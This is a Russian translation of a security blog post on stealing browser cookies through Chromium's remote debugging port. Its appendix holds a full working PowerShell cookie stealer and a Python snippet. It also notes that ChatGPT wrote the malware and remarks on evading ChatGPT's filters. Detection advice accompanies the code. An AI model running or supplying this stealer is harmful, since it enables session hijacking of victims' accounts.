Недавно Google опубликовала блог об обнаружении кражи данных из браузера с помощью журналов событий Windows.
В этом посте есть несколько полезных советов для защитников о том, как обнаружить неправомерное использование вызовов DPAPI, пытающихся захватить конфиденциальные данные браузера.
Но как насчет функции удаленной отладки?
Это заставило меня пересмотреть состояние функции удаленной отладки браузеров для захвата конфиденциальной информации, включая файлы cookie.
В прошлом мы обсуждали методы кражи файлов cookie, даже выступали с докладом на CCC около 5 с лишним лет назад и помогли добавить TTP в матрицу MITRE ATT&CK.
Итак, насколько сложно в 2024 году вредоносному ПО перехватить файлы cookie, используя технику удаленной отладки?
tl;dr
Ситуация практически не изменилась по сравнению с тем, что было несколько лет назад. Антивирусы и EDR по умолчанию не помогают справиться с этой техникой кражи файлов cookie.
Защитникам приходится создавать собственные правила обнаружения и искать такие вещи, как процессы, запускающие браузер через --remote-debug-port
, отфильтровывать "шум" и т. д.
Давайте вернемся к этой технике, чтобы повысить нашу осведомленность.
Краткое пересказ - Обзор
Вот основные этапы происходящего:
Вредоносное ПО запускается на машине пользователя
Вредоносная программа запускает браузер с включенной функцией удаленной отладки (в данном случае мы будем рассматривать браузеры на базе Chromium, но и другие имеют аналогичные возможности).
Вредоносное ПО подключается к порту отладки
Вредоносная программа обращается к API, и злоумышленник скачивает все cookies или удаленно управляет браузером
Злоумышленник использует cookie-файлы и получает доступ к ресурсам Примечание: Эта специфическая техника использования порта удаленной отладки была первоначально описана @mangopdf как "Преступления с куки" для Chrome.
Технические детали
На этот раз я решил переделать все в PowerShell, а для написания большей части кода использовал ChatGPT. Вы можете найти скрипт в приложении. Оказалось, что ChatGPT неплохо справляется с написанием вредоносных программ. ?
Тут согласен с автором, ChatGPT очень быстро прогрессирует и если уметь обходить его фильтры...
Вредоносное ПО запускает браузер
Вот пример того, как это можно смоделировать с помощью Powershell.exe
, причем мы будем использовать браузер Edge
:
Get-Process msedge | Stop-Process
Start-Process "msedge.exe" "https://outlook.com --remote-debugging-port=9222 --remote-allow-origins=*"
Теперь браузер пользователя перезапущен, а порт отладки включен.
Вредоносное ПО получает данные об отладочном веб-сокете
Прежде чем мы сможем подключиться к отладочному веб-сокету, нам нужно узнать его местоположение. Это можно быстро выяснить, загрузив конфигурационную информацию /json
:
curl http://localhost:9222/json
# Примечание: curl - это просто alias для Invoke-WebRequest
Вывод содержит множество метаданных для отладки, включая конечную точку веб-интерфейса DevTools, а также детали веб-сокета.
Вредоносное ПО подключается к порту отладки и получает файлы cookie
Подключитесь к websocket и вызовите API getAllCookies
. Полный сценарий PowerShell для этого находится в Appendix. Он немного длинный, потому что это PowerShell. :)
Вот и все.
Теперь злоумышленник может подключить эти файлы cookie к своему браузеру и выдать себя за цель.
Разрешение удаленного источника
Когда несколько дней назад я вновь обратился к этой теме, мне пришлось внести одно изменение, сделанное несколько лет назад.
Изначально я получил эту ошибку:
Error: websocket._exceptions.WebSocketBadStatusException: Handshake status 403 Forbidden
Rejected an incoming WebSocket connection from the http://localhost:9222 origin.
Use the command line flag --remote-allow-origins=http://localhost:9222 to allow connections
from this origin or --remote-allow-origins=* to allow all origins.
Как видите, сообщение об ошибке уже указывает на решение проблемы, которое заключается в запуске браузера с аргументом командной строки --remote-allow-origins=*.
Рекомендации
Существует длинный список лучших практик и специальных средств обнаружения, которые необходимо внедрить:
Используйте только выделенные рабочие станции и учетные записи администраторов для управления критическими ресурсами облака и SaaS.
Собирайте журналы и ищите события создания процессов с
--remote-debug-port
или--remote-debug-address
и выясняйте, какой родительский процесс его запустил. Это может быть вредоносное ПО, но может быть и легитимное использование для тестирования/разработки.Аномалии доступа на стороне сервера и невозможные путешествия могут быть хорошими индикаторами компрометации
Ищите не только PowerShell или Python, запускающие процесс браузера с отладочным портом.
Добавление событий ETW для случаев, когда используется удаленная отладка, или для случаев, когда кто-то вызывает API для чтения cookies с помощью этой атаки, может быть весьма полезным для защитника (это может быть полезным дополнением со стороны производителей, я не думаю, что это существует в настоящее время afaik).
Device Bound Session Credentials: DBSC, надеюсь, станет надежным средством защиты, чтобы противник, укравший куки, не мог использовать их с другого устройства.
Заключение
Кража токенов и куки-файлов - распространенные методы, используемые злоумышленниками для компрометации облачных ресурсов. Существует множество способов, с помощью которых злоумышленник может получить доступ к файлам cookie сеанса и передать их.
Удаленная отладка - это техника атаки, которая требует создания пользовательских правил обнаружения в организации, чтобы отслеживать ее использование и выявлять злоупотребления.
ChatGPT помог реализовать эту технику с помощью PowerShell.
Кроме того, следите за развитием технологии Device Bound Session Credentials (DBSC)
, которая может значительно снизить риск кражи файлов cookie на разных устройствах.
Appendix
PowerShell версия
Реализация PowerShell для преступлений с использованием куки. Большая часть этого кода была создана с помощью ChatGPT.
Запуск браузера с включенной удаленной отладкой (обратите внимание, что сначала завершаются все экземпляры, поэтому, если вы хотите быть менее навязчивым, можно скопировать профиль пользователя или просто подождать немного дольше):
Get-Process msedge | Stop-Process
Start-Process "msedge.exe" "https://outlook.com --remote-debugging-port=9222 --remote-allow-origins=* --restore-last-session"
Подключение и вызов API веб-сокета Network.getAllCookies
$jsonResponse = Invoke-WebRequest 'http://localhost:9222/json' -UseBasicParsing
$devToolsPages = ConvertFrom-Json $jsonResponse.Content
$ws_url = $devToolsPages[0].webSocketDebuggerUrl
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$uri = New-Object System.Uri($ws_url)
$ws.ConnectAsync($uri, [System.Threading.CancellationToken]::None).Wait()
$GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'
$buffer = [System.Text.Encoding]::UTF8.GetBytes($GET_ALL_COOKIES_REQUEST)
$segment = New-Object System.ArraySegment[byte] -ArgumentList $buffer, 0, $buffer.Length
$ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
$completeMessage = New-Object System.Text.StringBuilder
do {
$receivedBuffer = New-Object byte[] 2048
$receivedSegment = New-Object System.ArraySegment[byte] -ArgumentList $receivedBuffer, 0, $receivedBuffer.Length
$result = $ws.ReceiveAsync($receivedSegment, [System.Threading.CancellationToken]::None).Result
$receivedString = [System.Text.Encoding]::UTF8.GetString($receivedSegment.Array, $receivedSegment.Offset, $result.Count)
$completeMessage.Append($receivedString)
} while (-not $result.EndOfMessage)
$ws.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "Closing", [System.Threading.CancellationToken]::None).Wait()
try {
$response = ConvertFrom-Json $completeMessage.ToString()
$cookies = $response.result.cookies
# $cookies
} catch {
Write-Host "Error parsing JSON data."
}
$cookieName = "*"
$specificCookies = $cookies | Where-Object { $_.name -like $cookieName }
$cookieCommands = @()
foreach ($cookie in $specificCookies) {
$escapedValue = $cookie.value -replace "'", "\'"
$escapedPath = $cookie.path -replace "'", "\'"
$escapedDomain = $cookie.domain -replace "'", "\'"
$cookieCommand = "document.cookie='" + $cookie.name + "=" + $escapedValue +
"; Path=" + $escapedPath + "; Domain=" + $escapedDomain + ";secure';"
$cookieCommands += $cookieCommand
}
# Объедините все команды в одну длинную строку для выполнения в консоли браузера
$allCookieCommands = $cookieCommands -join " "
Write-Host $allCookieCommands
Set-Clipboard -Value $allCookieCommands
Версия для Python (Кража куки)
Вот ключевые строки кода Python для захвата файлов cookie:
ws_url="ws://localhost:9222/devtools/page/GRAB_FROM_JSON_ENDPOINT"
ws = websocket.create_connection(ws_url)
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Network.getAllCookies"})
ws.send(GET_ALL_COOKIES_REQUEST)
result = ws.recv()
ws.close()
response = json.loads(result)
cookies = response["result"]["cookies”]
Ссылки
Оригиналы статей:
https://embracethered.com/blog/posts/2024/cookie-theft-in-2024-and-what-todo/
https://embracethered.com/blog/posts/2020/firefox-cookie-debug-client/
https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/
https://embracethered.com/blog/posts/2020/2600-hacker-pass-the-cookie/